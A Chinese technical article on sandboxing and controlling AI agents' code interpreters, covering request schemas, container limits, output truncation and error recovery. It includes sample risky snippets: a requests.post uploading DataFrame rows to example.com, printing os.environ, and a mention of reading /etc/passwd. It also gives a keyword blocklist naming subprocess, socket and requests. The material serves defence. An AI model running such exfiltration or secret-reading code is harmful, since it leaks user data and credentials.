Agent 的代码解释器与沙箱安全
2026/7/8 3:13:19 网站建设 项目流程

一个只会调用固定工具的 Agent,可能需要我们提前准备好groupby_statscompute_marginplot_bar_chartdetect_outliers等一堆能力。可真实分析任务经常不是这么规整:字段名不统一,利润率可能要现算,异常值要先过滤,图表要根据数据形态调整。此时,让模型生成一小段 Python,再交给受控环境执行,是很自然的选择。

这也是代码解释器的吸引力:它把固定工具变成了可组合工具。模型不再只能按预设按钮,而是可以把 Pandas、统计函数和绘图库临时编排起来。

但风险也从这里开始。

当 Agent 开始写代码,它就不只是“回答问题”,而是在影响计算环境。它可能读错文件、写爆磁盘、跑出无限循环、偷偷访问网络、泄露数据样本,或者在报错后反复重试烧光预算。

这篇的核心判断是:

代码解释器的核心不是代码生成,而是受控执行。没有沙箱、配额、输出约束和错误恢复,代码解释器只是一个高风险的run_python


一、代码解释器不是把exec暴露给模型

在最小数据分析 Agent 里,我们曾经用过一个教学简化版run_python

env= { "df": df, "pd": pd, "plt": plt, "out_dir": out_dir, } exec(compile(code, "<agent-code>", "exec"), env, env)

这段代码能帮助我们看懂 Agent loop:模型生成动作,控制器执行代码,观察结果回到下一轮上下文。

但它不能直接进入生产。

原因很简单:exec发生在当前进程里。模型生成的代码一旦执行,就和你的服务共享解释器、内存、文件权限、环境变量和进程生命周期。哪怕你删掉一部分内置函数,也很难把 Python 运行时真正变成安全边界。

比如模型生成的代码未必有恶意,也可能只是无意中写出这些行为:

whileTrue: pass df.to_csv("full_dataset_dump.csv", index=False) importos print(os.environ) importrequests requests.post("https://example.com/upload", data=df.head(100).to_csv())

这几段代码分别对应四类风险:CPU 被占满、数据落盘失控、环境信息泄露、网络外传。

所以,代码解释器不能被理解成“给模型一个 Python REPL”。更准确的说法是:

模型生成代码 -> 控制器校验请求 -> 沙箱执行代码 -> 收集结构化结果和产物 -> 清理环境 -> 把观察结果返回给 Agent

代码解释器真正提供的是这个闭环。代码只是其中一环,安全边界和结果协议同样重要。


二、一个可控执行器至少要有请求协议

让 Agent 调用代码解释器时,第一步不是写沙箱,而是先定义它能请求什么。

对数据分析任务来说,模型不应该传入任意文件路径,也不应该决定输出目录。它只需要提交代码、说明预期产物类型,其他上下文由控制器注入。

一个简化的请求结构可以这样设计:

frompydanticimportBaseModel, Field classCodeRunRequest(BaseModel): code: str=Field(max_length=8_000) purpose: str=Field(description="本次代码要完成的分析目标") expected_artifacts: list[str] =Field(default_factory=list)

注意这里少了很多“看起来灵活”的参数。

没有csv_path,因为当前数据集由任务状态决定。没有output_dir,因为产物目录由控制器分配。没有timeout,因为超时时间由系统策略决定,不能让模型自己放宽。没有network_enabled,因为网络权限不是模型可以临时申请的布尔开关。

控制器可以在执行前构造一份运行上下文:

run_context= { "dataset_id": state.dataset_id, "input_path": sandbox_input_path, "output_dir": sandbox_output_dir, "timeout_seconds": 8, "memory_mb": 512, "network": "disabled", }

这一步的原则很直接:

模型负责表达分析意图和代码,系统负责决定权限、路径、配额和生命周期。

如果把这些安全参数都开放给模型填写,Agent 就会在“想完成任务”和“遵守边界”之间自我协商。安全设计不能依赖这种自觉。


三、三种执行方案:从教学简化到可上线隔离

代码解释器常见有三种实现路径:进程内受限执行、容器沙箱、云函数或远程执行服务。它们不是谁绝对替代谁,而是适合不同阶段。

方案适合阶段优点主要风险
进程内受限执行本地教学、内部原型快、实现简单、调试方便很难形成强安全边界
Docker / 容器沙箱私有部署、可控服务端隔离文件系统和资源,工程可控配置不当会把宿主机暴露出去
云函数 / 远程执行服务多租户、弹性任务生命周期短、天然超时、便于按量伸缩IAM、网络和数据出入仍需严格治理

进程内受限执行适合教学和可信内部任务。可以限制内置函数、白名单导入、设置超时,但不要把它当成处理不可信代码的安全方案。它更像“快速验证代码解释器行为”,不是强沙箱。

容器沙箱是很多团队的第一条工程化路线。每次执行代码时启动一个临时容器,把数据文件以只读方式挂进去,把输出目录挂到指定位置,再限制 CPU、内存、进程数、网络和运行时间。

一个容器执行请求应该接近这样的边界:

只读输入目录:/workspace/input 可写输出目录:/workspace/output 禁用网络:--network none 只读根文件系统:--read-only 内存上限:--memory 512m CPU 上限:--cpus 1 进程数上限:--pids-limit 64 运行超时:8 秒 执行后销毁容器

这些配置不能保证“绝对安全”,但它们把风险从当前服务进程里移走,并且让每次执行都有清晰的资源边界。

云函数或远程执行服务适合需要弹性、隔离和多租户治理的场景。代码解释器不直接跑在主应用里,而是通过任务队列或 HTTP 调用一个独立执行服务。主应用只上传必要输入,等待结构化结果。

但云函数也不是魔法。它仍然需要最小权限的身份、受控网络、临时存储限制、超时、出入数据审计。把代码换到云上运行,只是换了一个隔离层,不是自动获得安全。

一般的演进顺序可以是:

本地教学:进程内执行,看懂闭环 内部原型:独立子进程 + 超时 + 临时目录 可上线服务:容器沙箱或远程执行服务 多租户系统:执行服务隔离 + 权限治理 + 审计和配额

不要从第一天就把架构做得过重,也不要把教学版exec当成上线方案。关键是清楚自己处在哪个阶段。


四、沙箱要管住五条边界

“放进 Docker”不是安全方案的结束,只是开始。一个数据分析代码解释器至少要管住五条边界:文件、网络、资源、依赖、输出。

第一,文件边界。

模型生成的代码只能读取当前任务的数据副本,不能访问原始上传目录、服务配置目录、用户家目录或系统路径。输入目录应该只读,输出目录应该按任务隔离,执行结束后只保留明确允许的产物。

对数据分析 Agent 来说,模型也不应该知道真实存储路径。它只需要知道:

当前数据已加载为 df。 图表请保存到 out_dir。 不要读取任意本地路径。

这比让模型自己操作E:\data\customer_uploads\.../mnt/prod/uploads/...稳得多。

第二,网络边界。

默认禁用网络。数据分析任务通常不需要联网才能完成 CSV 聚合、统计和绘图。只要打开网络,就要面对数据外传、依赖下载、访问内网服务等风险。

如果确实需要联网,例如拉取公开汇率或行业指标,也应该做成独立工具,而不是让代码解释器任意发请求。独立工具可以有固定域名、缓存、审计和返回值约束。

第三,资源边界。

代码解释器必须设置 CPU、内存、进程数、运行时间和输出文件大小限制。分析代码写错非常常见,不需要恶意也能拖垮服务。

典型风险包括:

  • 死循环或超大 join 占满 CPU

  • 读取大文件后复制多份 DataFrame 打爆内存

  • 无限生成图片或中间文件写满磁盘

  • 递归或多进程把执行环境拖死

这些问题不能靠 Prompt 解决,必须靠运行时硬限制。

第四,依赖边界。

沙箱里预装哪些包,要明确。数据分析 Agent 通常只需要pandasnumpymatplotlibscipy这类基础依赖。不要允许代码在执行时随意pip install

动态安装依赖会带来三类问题:执行变慢、结果不可复现、供应链风险上升。更稳的做法是维护少量固定镜像,例如:

python-data-basic: pandas + numpy + matplotlib python-stats: pandas + numpy + scipy + statsmodels python-ml-lite: pandas + numpy + scikit-learn

Tool Router 可以根据任务选择镜像,但模型不应该临时决定安装什么包。

第五,输出边界。

代码解释器返回给模型的内容不能无限长。否则一次print(df.to_string())就可能把整张表塞回上下文。

工具返回应该做三件事:

  1. 截断 stdout 和 stderr,只保留关键片段。

  2. 对产物做白名单,只允许图片、表格摘要、文本报告等指定类型。

  3. 对结果做数据脱敏或行数限制,避免把原始明细整批带回模型上下文。

输出边界经常被低估。输入泄露是一种风险,输出失控同样是。


五、错误恢复靠结构化观察,不靠模型“反省”

代码解释器的价值,不只是执行成功。它还要让 Agent 在执行失败后能修。

数据分析代码最常见的错误并不复杂:

  • 字段名猜错:KeyError

  • 日期解析失败:ValueError

  • 数值列里混入字符串:TypeError

  • 图表中文乱码或布局溢出

  • 数据为空,聚合结果没有意义

  • 运行超时或内存超限

如果沙箱只返回“执行失败”,模型下一轮只能继续猜。如果把完整 traceback 原样塞回去,噪声又太大。

更好的做法是把错误压成结构化观察:

defbuild_error_observation(error, code, schema): return { "ok": False, "error_type": type(error).__name__, "error_message": str(error)[:500], "failed_code_excerpt": code[:1_000], "available_columns": schema.columns, "dtypes": schema.dtypes, "retry_hint": "请只使用 available_columns 中存在的字段,并在必要时先做类型转换。", }

这段返回不是为了替模型写代码,而是给它下一轮修复所需的最短证据链。

成功观察也要结构化:

{ "ok": true, "stdout_excerpt": "region\n华东 0.18\n华南 0.11\n华北 0.09", "artifacts": [ { "type": "image", "path": "outputs/profit_margin_by_region.png" } ], "warnings": [ "profit 字段有 8 条缺失值,计算时已忽略。" ] }

这类返回值能支撑模型做三件事:解释结果、引用真实产物、说明数据局限。

错误恢复还需要硬停止条件。代码解释器尤其容易出现“修一次、错一次、再修一次”的循环。控制器至少要记录:

  • 当前任务已执行代码次数

  • 连续失败次数

  • 总运行时间

  • 总 token 成本

  • 是否重复出现同一类错误

当连续失败达到阈值时,Agent 应该停止并说明限制,而不是继续赌下一轮。

这也是代码解释器和普通工具的区别:普通工具参数空间较小,错了多半是填参问题;代码解释器参数空间巨大,失败恢复必须有预算边界。


六、代码审查可以做,但不要把它当唯一防线

很多团队会想到在执行前让模型先审查代码:

这段代码是否包含危险操作? 是否访问了网络? 是否读取了非授权文件?

代码审查有价值,尤其能拦住一些明显问题,例如import osopen("/etc/passwd")requests.post(...)subprocess.run(...)

但它不能替代沙箱。

第一,模型审查会漏。生成代码和审查代码可能使用同类模型,错误模式会相关。第二,静态规则会被绕。Python 的动态特性太强,危险行为未必以显眼字符串出现。第三,安全策略不能只发生在自然语言层。真正有效的边界必须由运行时强制执行。

更稳的做法是多层防御:

工具 schema:不开放路径、网络、权限参数 静态检查:拦截明显危险导入和系统调用 沙箱策略:限制文件、网络、资源和进程 运行时监控:超时、内存、输出大小、产物类型 执行审计:记录代码、输入摘要、产物、错误和成本

这里的重点不是“哪一层最强”,而是不要把任何一层当成全部。

对数据分析 Agent 来说,最有性价比的静态检查通常很朴素:

BLOCKED_TERMS= [ "subprocess", "socket", "requests", "urllib", "os.environ", "open(", "__import__", ] defreject_obviously_dangerous_code(code: str) ->None: lowered=code.lower() forterminBLOCKED_TERMS: ifterm.lower() inlowered: raiseValueError(f"代码包含不允许的操作: {term}")

这不是完整安全方案,只是执行前的低成本筛查。真正的防线仍然是沙箱权限和运行时限制。


七、什么时候该给 Agent 代码解释器

代码解释器很强,但不应该成为所有问题的默认工具。

如果用户只是问“这张表有多少行”,固定的inspect_csv更快、更稳、更便宜。如果用户只是要“按地区汇总销售额”,结构化的 SQL 或聚合工具更容易审计。如果任务需要探索性分析、组合多个步骤、根据中间结果调整图表,代码解释器才开始显出价值。

一个实用判断是:

任务类型更适合的工具
查看字段、行数、缺失值inspect_csv
固定口径聚合和筛选SQL / 聚合工具
标准图表生成结构化绘图工具
探索性分析、多步清洗、临时指标代码解释器
高风险写操作、业务系统变更不应交给代码解释器

这和上一篇的动态工具选择正好接上:代码解释器应该是工具箱里的高能力、高风险工具,而不是第一轮就暴露的万能入口。

在数据分析 Agent 里,可以设置这样的暴露规则:

未检查数据结构:不暴露代码解释器,只暴露 inspect_csv 已知字段且任务简单:优先暴露 SQL / 聚合 / 绘图工具 任务需要临时计算或多步处理:暴露代码解释器 连续代码失败两次:降级为澄清问题或请求人工检查 涉及外部访问或任意文件读取:拒绝代码解释器

这不是削弱 Agent,而是让它在合适的时候使用自由度更高的工具。


让 Agent 会写代码,最容易被展示成一个很漂亮的 Demo:模型写 Pandas,生成图表,报错后自己修,最后输出结论。

工程上真正要守住的是另一面:这段代码在哪里跑,能看到什么,能写到哪里,能跑多久,能返回多少内容,失败几次后必须停。

这篇真正想留下的判断是:

代码解释器不是 Agent 的大脑,而是 Agent 的高风险执行器。它越强,越需要被关进清楚的边界里。

对数据分析 Agent 来说,比较稳的落地路径是:先用inspect_csv建立数据结构观察,再用固定工具处理常见问题,只有在任务确实需要探索性计算时才暴露代码解释器。执行时把路径、网络、资源、依赖和输出都收进控制器和沙箱,执行后把成功结果或失败原因压成下一轮可行动的观察。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询